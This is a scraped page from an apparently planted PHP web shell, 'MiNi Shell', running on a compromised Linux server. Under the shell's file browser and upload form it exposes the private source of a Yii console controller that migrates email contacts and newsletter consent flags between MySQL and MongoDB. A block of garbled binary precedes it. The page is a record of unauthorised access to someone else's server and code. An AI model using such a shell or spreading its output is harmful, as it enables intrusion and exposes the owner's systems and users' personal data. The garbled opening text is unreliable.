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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/EmailsFixController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use \yii\helpers\Console;

class EmailsFixController extends Controller
{  
    
    public $limit;
    public $offset;
    
    protected $deletedEmails = [];
    protected $portalsList = [];
    protected $companiesToUsersMap = [];
    protected $usersToCompaniesMap = [];
    protected $validatorEmail;

    public function options($actionID)
    {
        return ['limit', 'offset'];
    }
    
    public function actionImportFromFirmyEmails()
    {
        $documents = (new \yii\mongodb\Query())->from('additional_emails')->where(['status' => 0])->limit(2000)->all();
        if(empty($documents)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        $labelsForContactDataTypes = \common\models\types\ContactDataType::getValuesWithLabels();
        
        foreach($documents as $document) {
            if(!\common\models\Companies::find()->where(['id_company' => $document['id_company']])->exists()) {
            Yii::$app->mongodb->getCollection('additional_emails')->update(['_id' => (string)$document['_id']], ['status' => 1]);
                continue;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            //najpierw sprawdzamy, czy adres jest w danych użytkownika 
            $modelsContactData = $this->getModelsUserContactDataForCompany($document['id_company'], $document['email']);
            if(!empty($modelsContactData)) {
                foreach($modelsContactData as $modelContactData) {
                    //edytujemy przeznaczenia dla ezo, jeśli się różnią
                    $settings = $modelContactData->settings;
                    if(empty($settings['purposes'])) {
                        $transaction->rollBack();
                        echo 'BLAD 2 !!!!'."\n"; 
                        exit;
                    }  
                    
                    //@todo poniższe jest chyba niepotrzebne
//                    if(intval($settings['purposes']['or_inquiries']) !== $document['or_inquiries']) {
//                        $settings['purposes']['or_inquiries'] = $document['or_inquiries'];
//                        $modelContactData->settings = $settings;
//                        if(!$modelContactData->save(false)) {
//                            $transaction->rollBack();
//                            echo 'BLAD PODCZAS ZAPISU 2!!!'."\n"; 
//                            exit;
//                        }
//                    }

                    //jeśli przeznaczenie dla newslettera równe jest 0, to dla wartości w $document['portals'] 
                    //ustawiamy UsersHasPortals::setInactivity($modelContactData->id_user, $idPortal, true)
                    if(intval($document['or_newsletter']) === 0) {
                        foreach($document['portals'] as $idPortal) {
                            $flag = \common\models\UsersHasPortals::setInactivity($modelContactData->id_user, $idPortal, true);
                            if(!$flag) {
                                $transaction->rollBack();
                                echo 'BLAD PODCZAS ZAPISU 3 !!!'."\n"; 
                                exit;
                            }
                        }
                    }

                    //jeśli w kolumnie $document['portals_deleted'] mamy jakieś portale, to dla każdego z nich 
                    //ustawiamy UsersHasPortals::setInactivity($modelContactData->id_user, $idPortal, true)
                    if(!empty($document['portals_deleted'])) {
                        foreach($document['portals_deleted'] as $idPortal) {
                            $flag = \common\models\UsersHasPortals::setInactivity($modelContactData->id_user, $idPortal);
                            if(!$flag) {
                                $transaction->rollBack();
                                echo 'BLAD PODCZAS ZAPISU 4 !!!'."\n"; 
                                exit;
                            }
                        }
                    }
                    
                }
            } 
            
            $modelsContactData = $this->getModelsContactDataForCompany($document['id_company'], $document['email']);
            if(!empty($modelsContactData)) {
                foreach($modelsContactData as $modelContactData) {
                    //edytujemy przeznaczenia, jeśli się różnią     
                    $settings = $modelContactData->settings;
                    if(empty($settings['purposes'])) {
                        $transaction->rollBack();
                        echo 'BLAD 1 !!!!'."\n"; 
                        exit;
                    }
                    $oldOrNewsletter = (int)$settings['purposes']['or_newsletter'];
                    $oldOrMailings = (int)$settings['purposes']['or_mailings'];
                    $oldOrAds = (int)$settings['purposes']['or_ads'];
                    $oldOrInquiries = (int)$settings['purposes']['or_inquiries'];
                    
                    if($document['or_newsletter'] === 0) {
                        $settings['purposes']['or_newsletter'] = 0;
                        $settings['purposes']['or_mailings'] = 0;
                        $settings['purposes']['or_ads'] = 0;
                    }
                    if($document['or_inquiries'] === 0) {
                        $settings['purposes']['or_inquiries'] = 0;
                    }
                    
                    if(intval($settings['purposes']['or_newsletter']) !== $oldOrNewsletter || intval($settings['purposes']['or_mailings']) !== $oldOrMailings || intval($settings['purposes']['or_ads']) !== $oldOrAds || intval($settings['purposes']['or_inquiries']) !== $oldOrInquiries) {
                        $modelContactData->settings = $settings;
                        if(!$modelContactData->save(false)) {
                            $transaction->rollBack();
                            echo 'BLAD PODCZAS ZAPISU 1 !!!'."\n"; 
                            exit;
                        }
                        
                        $this->saveChangeLog($modelContactData, $document, $oldOrNewsletter, $oldOrInquiries, $oldOrMailings, $oldOrAds);
                    }
                }
            } else {
                //dodajemy nowy adres e-mail sprawdzając co siedzi w portals_deleted
                $emailPurposes = [];
                foreach(\common\models\Emails::$purposesFields as $purposeField) {
                    $emailPurposes[$purposeField] = 1;
                }
                if(empty($document['portals_deleted'])) {
                    $emailPurposes['or_newsletter'] = $document['or_newsletter'];
                    $emailPurposes['or_mailings'] = $document['or_newsletter'];
                    $emailPurposes['or_ads'] = $document['or_newsletter'];
                    $emailPurposes['or_inquiries'] = $document['or_inquiries'];
                } else {
                    //@todo tak usuwamy adres jeśli użytkownik kliknie w link wypisujący
                    $emailPurposes['or_mailings'] = 0;
                    $emailPurposes['or_newsletter'] = 0;
                    $emailPurposes['or_ads'] = 0;
                }

                $modelOrder = intval(\common\models\CompaniesContactData::find()->where(['id_company' => $document['id_company']])->max('data_order'));
                
                $modelContactData = new \common\models\CompaniesContactData(['scenario' => 'create']);
                $modelContactData->id_company = $document['id_company'];
                $modelContactData->data_label = ucfirst($labelsForContactDataTypes[\common\models\types\ContactDataType::EMAIL]);
                $modelContactData->data_value = $document['email'];
                $modelContactData->data_type = \common\models\types\ContactDataType::EMAIL;
                $modelContactData->data_order = $modelOrder + 1;
                $modelContactData->required = 0;
                $modelContactData->settings = ['purposes' => $emailPurposes]; 
                if(!$modelContactData->save(false)) {
                    $transaction->rollBack();
                    echo 'BLAD PODCZAS ZAPISU 1 !!!'."\n"; 
                    exit;
                }
                $this->saveChangeLog($modelContactData, $document, $document['or_newsletter'], $document['or_inquiries'], $document['or_newsletter'], $document['or_newsletter'], true);
                
                $modelsPresentations = \common\models\CompaniesPresentations::find()
                        ->where([
                            'id_company' => $document['id_company'], 
                            'status' => \common\models\types\Status::ACTIVE
                        ])
                        ->indexBy('id_portal')
                        ->all();
                if(!empty($modelsPresentations)) {
                    foreach($modelsPresentations as $modelPresentation) {
                        if($modelPresentation->id_package === \common\models\PresentationsPackages::PACKAGE_STARTER) {
                            continue;
                        }
                        
                        $visibleContactDataItems = $modelPresentation->getSettingsKey('visible_contact_data_items');
                        $visibleContactDataItems[] = $modelContactData->id_contact_data;
                        $modelPresentation->setSettingsKey('visible_contact_data_items', $visibleContactDataItems);
                        if(!$modelPresentation->saveSettings()) {
                            $transaction->rollBack();
                            echo 'BLAD PODCZAS ZAPISU 2 !!!'."\n"; 
                            exit;
                        } 
                    }
                }
                
                $documentEmail = \common\models\Emails::find()->where(['email' => $document['email'], 'id_user' => null, 'id_company' => null])->one();
//                if(!empty($documentEmail)) {
//                    echo 'Znalazło w newsletterze: '.(string)$document['email']."\n";
//                }
                if(!empty($documentEmail)) {
                    $portals = $documentEmail['portals'];
                    
                    foreach($document['portals'] as $idPortal) {
                        if(!empty($portals)) {                        
                            foreach($portals as $key => $portalInfo) {
                                if(intval($portalInfo['id']) === $idPortal) {
                                    unset($portals[$key]);
                                }
                            }
                        }
                    } 
                    
                    if(!empty($document['portals_deleted'])) {
                        foreach($document['portals_deleted'] as $idPortal) {
                            if(!empty($portals)) {                        
                                foreach($portals as $key => $portalInfo) {
                                    if(intval($portalInfo['id']) === $idPortal) {
                                        unset($portals[$key]);
                                    }
                                }
                            }
                        } 
                    }
                    
                    if(!empty($portals)) {                    
                        $documentEmail->portals = $portals;
                        $documentEmail->save(false);
                    } else {
                        $documentEmail->delete();
                    }
                }
            }
            
            
//            $transaction->rollBack();
//            echo 'Zapisano dla: '.$document['email']."\n";
            $transaction->commit();
            Yii::$app->mongodb->getCollection('additional_emails')->update(['_id' => (string)$document['_id']], ['status' => 1]);
        }
    }
    
    public function actionMoveUsersEmailsToCompanies($limit, $offset)
    {
        $this->validatorEmail =  new \yii\validators\EmailValidator();
        $labelsForContactDataTypes = \common\models\types\ContactDataType::getValuesWithLabels();
        
        $companies = \common\models\Companies::find()->select(['id_user', 'id_company'])->orderBy('id_company ASC')->limit($limit)->offset($offset)->asArray()->all();
        if(empty($companies)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        foreach($companies as $company) {
            $modelsContactData = \common\models\UsersContactData::find()->where([
                'id_user' => $company['id_user'],
                'data_type' => \common\models\types\ContactDataType::EMAIL,
                'required' => 1
            ])->all();
            
            if(empty($modelsContactData)) {
                continue;
            }
            
//            echo 'ID_COMPANY: '.$company['id_company'].' - ';
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $maxOrder = intval(\common\models\CompaniesContactData::find()->where(['id_company' => $company['id_company']])->max('data_order'));
            
            $idsNewContactData = [];
            foreach($modelsContactData as $modelContactData) {
                if(!$this->validatorEmail->validate($modelContactData->data_value)) {
                    continue;
                }
                
                $orExist = \common\models\CompaniesContactData::find()->where([
                    'id_company' => $company['id_company'],
                    'data_value' => $modelContactData->data_value,
                    'data_type' => \common\models\types\ContactDataType::EMAIL
                ])->exists();
                
                if(!$orExist) {
                    $modelCompanyContactData = new \common\models\CompaniesContactData(['scenario' => 'create']);
                    $modelCompanyContactData->id_company = $company['id_company'];
                    $modelCompanyContactData->data_label = ucfirst($labelsForContactDataTypes[\common\models\types\ContactDataType::EMAIL]);
                    $modelCompanyContactData->data_value = $modelContactData->data_value;
                    $modelCompanyContactData->data_type = \common\models\types\ContactDataType::EMAIL;
                    $modelCompanyContactData->data_order = $maxOrder + 1;
                    $modelCompanyContactData->required = 0;
                    $settings = $modelContactData->settings;
                    $modelCompanyContactData->settings = $settings;
                    
                    if(!$modelCompanyContactData->save(false)) {
                        $transaction->rollBack();
                        echo 'BLAD PODCZAS ZAPISU 1 !!!'."\n"; 
                        exit;
                    } 
                    
                    $idsNewContactData[] = $modelCompanyContactData->id_contact_data;
                }
            }
            
            if(!empty($idsNewContactData)) {
                $modelsPresentations = \common\models\CompaniesPresentations::find()
                        ->where([
                            'id_company' => $company['id_company'], 
                            'status' => \common\models\types\Status::ACTIVE
                        ])
                        ->indexBy('id_portal')
                        ->all();
                if(!empty($modelsPresentations)) {
                    foreach($modelsPresentations as $modelPresentation) {
                        if($modelPresentation->id_package === \common\models\PresentationsPackages::PACKAGE_STARTER) {
                            continue;
                        }

                        $visibleContactDataItems = $modelPresentation->getSettingsKey('visible_contact_data_items');                            
                        $visibleContactDataItems = array_unique(array_merge($visibleContactDataItems, $idsNewContactData));
                        $modelPresentation->setSettingsKey('visible_contact_data_items', $visibleContactDataItems);
                        if(!$modelPresentation->saveSettings()) {
                            $transaction->rollBack();
                            echo 'BLAD PODCZAS ZAPISU 2 !!!'."\n"; 
                            exit;
                        } 
                    }
                }
            }
            
//            echo 'przetworzono'."\n";
            
//            $transaction->rollBack();
            $transaction->commit();
        }
    }
    
    public function actionFillSourceEmails()
    {
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
        if(in_array('additional_emails', $existsCollections)) {
            Yii::$app->mongodb->getCollection('additional_emails')->drop();
        }
        
        $this->validatorEmail =  new \yii\validators\EmailValidator();
        $this->portalsList = \yii\helpers\ArrayHelper::map(\common\models\Portals::find()->select(['id_portal', 'domain'])->asArray()->all(), 'id_portal', 'domain');
        $this->fillUsersAndCompaniesRelationsMap();
        $this->fillDeletedEmailsFromNewsletter();
        
        $emailsForSave = [];
        
        $sql = 'SELECT fe.id, fe.id_user, fe.email, fe.ezo, fe.newsletter, u.id_portal, u.id_portal_2, u.id_portal_3 FROM firmy_emails fe, users u WHERE fe.id_user = u.id_user';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {            
            if(!isset($this->usersToCompaniesMap[intval($row['id_user'])])) {
                continue;
            }
            $row = $this->convertDataLatin2ToUTF8($row);
            if(!$this->validatorEmail->validate($row['email'])) {
                continue;
            }
            
            $idCompany = $this->usersToCompaniesMap[intval($row['id_user'])];
            $email = $row['email'];
            $orNewsletter = intval($row['newsletter']);
            $orInquiries = intval($row['ezo']);
            $portals = [];
            foreach(['id_portal', 'id_portal_2', 'id_portal_3'] as $field) {
                $idPortal = intval($row[$field]);
                if(!empty($idPortal)) {
                    $portals[$idPortal] = $idPortal;
                }
            }
            
            if(isset($emailsForSave[$idCompany][$email])) {
                //@todo poniższa wersja zakłada, że 1 ma priorytet nad 0 przy łączeniu
                if($orNewsletter === 1 && $emailsForSave[$idCompany][$email]['or_newsletter'] === 0) {
                    $emailsForSave[$idCompany][$email]['or_newsletter'] = 1;
                }
                if($orInquiries === 1 && $emailsForSave[$idCompany][$email]['or_inquiries'] === 0) {
                    $emailsForSave[$idCompany][$email]['or_inquiries'] = 1;
                }
                
                //@todo poniższa wersja zakłada, że 0 ma priorytet nad 1 przy łączeniu
//                if($orNewsletter === 0 && $emailsForSave[$idCompany][$email]['or_newsletter'] === 1) {
//                    $emailsForSave[$idCompany][$email]['or_newsletter'] = 0;
//                }
//                if($orInquiries === 0 && $emailsForSave[$idCompany][$email]['or_inquiries'] === 1) {
//                    $emailsForSave[$idCompany][$email]['or_inquiries'] = 0;
//                }
                $emailsForSave[$idCompany][$email]['portals'] = array_unique(array_merge($emailsForSave[$idCompany][$email]['portals'], array_values($portals)));
            } else {
                $emailsForSave[$idCompany][$email] = [
                    'id_company' => $idCompany,
                    'email' => $email,
                    'or_newsletter' => $orNewsletter,
                    'or_inquiries' => $orInquiries,
                    'portals' => array_values($portals),
                    'portals_deleted' => !empty($this->deletedEmails[$email]['portals']) ? $this->deletedEmails[$email]['portals'] : [],
                    'status' => 0
                ];
            }
        }
        
        if(!empty($emailsForSave)) {
            foreach($emailsForSave as $companyEmailsForSave) {
                foreach($companyEmailsForSave as $companyEmailForSave) {
                    Yii::$app->mongodb->getCollection('additional_emails')->save($companyEmailForSave);
                }
            }
        }
    }

    protected function fillUsersAndCompaniesRelationsMap()
    {
        $this->companiesToUsersMap = [];
        $this->usersToCompaniesMap = [];
        
        $documents = (new \yii\mongodb\Query())->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->companiesToUsersMap[(int)$document['target_id']][] = (int)$document['source_id'];
                $this->usersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 
    }
    
    protected function fillDeletedEmailsFromNewsletter()
    {
        $this->deletedEmails = [];
        
        $sql = 'SELECT adres_email, GROUP_CONCAT(DISTINCT id_portalu) AS portale FROM newsletter2_adresy WHERE status_usera = "Z" OR status_usera = "U" GROUP BY adres_email ORDER BY adres_email ASC';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();

        foreach($rows as $row) {            
            $row = $this->convertDataLatin2ToUTF8($row);
            if(!$this->validatorEmail->validate($row['adres_email'])) {
                continue;
            }
            
            $idsPortals = [];            
            $idsPortals = array_map('intval', array_map('trim', explode(",", $row['portale'])));
            
            if(!empty($idsPortals)) {
                foreach($idsPortals as $key => $idPortal) {
                    if(!isset($this->portalsList[$idPortal])) {
                        unset($idsPortals[$key]);
                    }
                }
            }
            
            if(empty($idsPortals)) {
                continue;
            }
            
            $this->deletedEmails[$row['adres_email']] = ['email' => $row['adres_email'], 'portals' => $idsPortals];
        }        
        unset($rows); 
    }

    protected function getModelsContactDataForCompany($idCompany, $email)
    {
        $emailsFromCompanyContactData = \common\models\CompaniesContactData::find()
                ->where([
                    'id_company' => $idCompany, 
                    'data_value' => $email, 
                    'data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->all();
                
        $emailsFromCompanyBranchesContactData = \common\models\CompaniesBranchesContactData::find()
                ->join('INNER JOIN', 'companies_branches', 'companies_branches.id_branch = companies_branches_contact_data.id_branch')
                ->where([
                    'companies_branches.id_company' => $idCompany, 
                    'companies_branches_contact_data.data_value' => $email, 
                    'companies_branches_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->all();
        
        $emailsFromCompanyDepartmentsContactData = \common\models\CompaniesDepartmentsContactData::find()
                ->join('INNER JOIN', 'companies_departments', 'companies_departments.id_department = companies_departments_contact_data.id_department')
                ->where([
                    'companies_departments.id_company' => $idCompany, 
                    'companies_departments_contact_data.data_value' => $email, 
                    'companies_departments_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->all();
        
        $emailsFromCompanyEmployeesContactData = \common\models\CompaniesEmployeesContactData::find()
                ->join('INNER JOIN', 'companies_employees', 'companies_employees.id_employee = companies_employees_contact_data.id_employee')
                ->where([
                    'companies_employees.id_company' => $idCompany, 
                    'companies_employees_contact_data.data_value' => $email, 
                    'companies_employees_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->all();
        
        return array_merge($emailsFromCompanyContactData, $emailsFromCompanyBranchesContactData, $emailsFromCompanyDepartmentsContactData, $emailsFromCompanyEmployeesContactData);
        
    }
    
    protected function getModelsUserContactDataForCompany($idCompany, $email)
    {        
        $emailsFromUsersContactData = \common\models\UsersContactData::find()
                ->join('INNER JOIN', 'companies', 'companies.id_user = users_contact_data.id_user')
                ->where([
                    'companies.id_company' => $idCompany,
                    'users_contact_data.data_value' => $email, 
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL
                ])
                ->all();  
        
        return $emailsFromUsersContactData;
        
    }
    
    protected function saveChangeLog($modelContactData, $document, $oldOrNewsletter, $oldOrInquiries, $oldOrMailings, $oldOrAds, $orAdded = false)
    {
        $target = $modelContactData->getTableName().'.'.$modelContactData->id_contact_data;
        $documentLog = $documents = (new \yii\mongodb\Query())->from('additional_emails')->where(['target' => $target])->limit(1)->one();
        if(empty($documentLog)) {                        
            Yii::$app->mongodb->getCollection('additional_emails_logs')->save([
                'target' => $modelContactData->getTableName().'.'.$modelContactData->id_contact_data,
                'old_or_newsletter' => $oldOrNewsletter,
                'old_or_mailings' => $oldOrMailings,
                'old_or_ads' => $oldOrAds,
                'old_or_inquiries' => $oldOrInquiries,                
                'or_newsletter' => $modelContactData->settings['purposes']['or_newsletter'],
                'or_mailings' => $modelContactData->settings['purposes']['or_mailings'],
                'or_ads' => $modelContactData->settings['purposes']['or_ads'],
                'or_inquiries' => $modelContactData->settings['purposes']['or_inquiries'],
                'or_added' => $orAdded,
                'id_company' => $document['id_company'],
                'email' => $document['email'],
            ]);
        } else {
            Yii::$app->mongodb->getCollection('additional_emails_logs')->update(['target' => $target], [
                'or_newsletter' => $modelContactData->settings['purposes']['or_newsletter'],
                'or_mailings' => $modelContactData->settings['purposes']['or_mailings'],
                'or_ads' => $modelContactData->settings['purposes']['or_ads'],
                'or_inquiries' => $modelContactData->settings['purposes']['or_inquiries'],
            ]);
        }
    }
    
    public function actionRefreshCompaniesEmails()
    {
        if(empty($this->limit)) {
            echo "Musisz podać --limit. \n"; exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
        $refreshedCompanies = [];
        $documents = (new \yii\mongodb\Query())->from('refresh_companies_emails')->select(['id_company'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $refreshedCompanies[(int)$document['id_company']] = 1;
            }
        }   
        
        $idsCompanies = \common\models\Companies::find()
                ->select(['id_company'])
                ->where(['status' => \common\models\types\Status::ACTIVE])
                ->orderBy('id_company ASC')
                ->limit($this->limit)
                ->offset($this->offset)
                ->column();
        if(empty($idsCompanies)) {
//            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        foreach($idsCompanies as $idCompany) {
            if(isset($refreshedCompanies[$idCompany])) {
                continue;
            }
            
//            echo 'ID company: '.$idCompany."\n";
            \common\models\Emails::refreshForCompany($idCompany);
            Yii::$app->mongodb->getCollection('refresh_companies_emails')->save(['id_company' => intval($idCompany)]);
        }
    }
    
    public function actionRefreshUsersEmails()
    {
        if(empty($this->limit)) {
            echo "Musisz podać --limit. \n"; exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
        $refreshedUsers = [];
        $documents = (new \yii\mongodb\Query())->from('refresh_users_emails')->select(['id_user'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $refreshedUsers[(int)$document['id_user']] = 1;
            }
        }
        
        $idsUsers = \common\models\Users::find()
                ->select(['id_user'])
                ->where(['status' => \common\models\types\Status::ACTIVE])
                ->andWhere(['>', 'id_user', 1000])
                ->orderBy('id_user ASC')
                ->limit($this->limit)
                ->offset($this->offset)
                ->column();
        if(empty($idsUsers)) {
//            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        foreach($idsUsers as $idUser) {
            if(isset($refreshedUsers[$idUser])) {
                continue;
            }
            
//            echo 'ID user: '.$idUser."\n";
            \common\models\Emails::refreshForUser($idUser);
            Yii::$app->mongodb->getCollection('refresh_users_emails')->save(['id_user' => intval($idUser)]);
        }
    }
    
    public function actionCleanupBeforeRefreshEmails()
    {
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
        
        foreach(['refresh_users_emails', 'refresh_companies_emails', 'emails'] as $collectionName) {
            if(!in_array($collectionName, $existsCollections)) {
                continue;
            }
            
            Yii::$app->mongodb->getCollection($collectionName)->drop();
        }
    }
    
    public function actionFillDeletedEmailsCollection()
    {
//        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase('base_db')->listCollections(), 'name');
//        if(in_array('emails_for_delete', $existsCollections)) {
//            Yii::$app->mongodb->getCollection('emails_for_delete')->drop();
//        }
//        
//        $sql = 'SELECT adres_email, GROUP_CONCAT(DISTINCT id_portalu) AS portale FROM newsletter2_adresy WHERE status_usera = "Z" OR status_usera = "U" GROUP BY adres_email ORDER BY adres_email ASC';
//        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
//
//        $validatorEmail = new \yii\validators\EmailValidator();
//        
//        $portals = \yii\helpers\ArrayHelper::map(\common\models\Portals::find()->select(['id_portal', 'domain'])->asArray()->all(), 'id_portal', 'domain');
//        
//        foreach($rows as $row) {            
//            $row = $this->convertDataLatin2ToUTF8($row);
//            if(!$validatorEmail->validate($row['adres_email'])) {
//                continue;
//            }
//            
//            $idsPortals = [];            
//            $idsPortals = array_map('intval', array_map('trim', explode(",", $row['portale'])));
//            
//            if(!empty($idsPortals)) {
//                foreach($idsPortals as $key => $idPortal) {
//                    if(!isset($portals[$idPortal])) {
//                        unset($idsPortals[$key]);
//                    }
//                }
//            }
//            
//            if(empty($idsPortals)) {
//                continue;
//            }
//            
//            Yii::$app->mongodb->getCollection('emails_for_delete')->save(['email' => $row['adres_email'], 'portals' => $idsPortals]);
//        }        
//        unset($rows); 
    }  
    
    public function actionRefreshEmailsForAutomatyka()
    {        
        $rows = \common\models\CompaniesPresentations::find()
                ->select(['companies_presentations.id_company', 'companies.id_user'])
                ->join('INNER JOIN', 'companies', 'companies_presentations.id_company = companies.id_company')
                ->where(['companies_presentations.id_portal' => 199])
                ->andWhere(['>', 'companies.id_company', 248496])
                ->orderBy('companies_presentations.id_company ASC')
                ->asArray()
                ->all();
        if(empty($rows)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        echo 'Number of rows: '.count($rows)."\n";
        echo '-----------------------------------'."\n";
//        exit;
        
        foreach($rows as $row) {            
            echo 'ID company: '.$row['id_company']."\n";
            echo 'ID user: '.$row['id_user']."\n";
            echo '-----------------------------------'."\n";
            \common\models\Emails::refreshForCompany($row['id_company']);
            \common\models\Emails::refreshForUser($row['id_user']);
        }
    }
    
    protected function generateCsvFile($filename, $rows, $header)
    {
        if(empty($rows)) {
            return;
        }
        
        $fp = fopen( Yii::getAlias('@runtime/temp/').$filename.'.csv', 'w');
        fputcsv($fp, $header);
        foreach ($rows as $row) {
            fputcsv($fp, $row);
        }
        fclose($fp);
        
        return;
    }    
        
    protected function convertDataLatin2ToUTF8($data)
    {
        if(is_string($data)) {
            $data = iconv('ISO-8859-2//IGNORE', 'UTF-8', $data);
            $data = trim($data);
        } elseif(is_array($data) && !empty($data)) {
            foreach($data as $key => $value) {
                if(is_string($value)) {
                    $data[$key] = iconv('ISO-8859-2//IGNORE', 'UTF-8', $value);
                    $data[$key] = trim($data[$key]);
                }
            }
        } 
        
        return $data;
    }
    
}


Creat By MiNi SheLL
Email: jattceo@gmail.com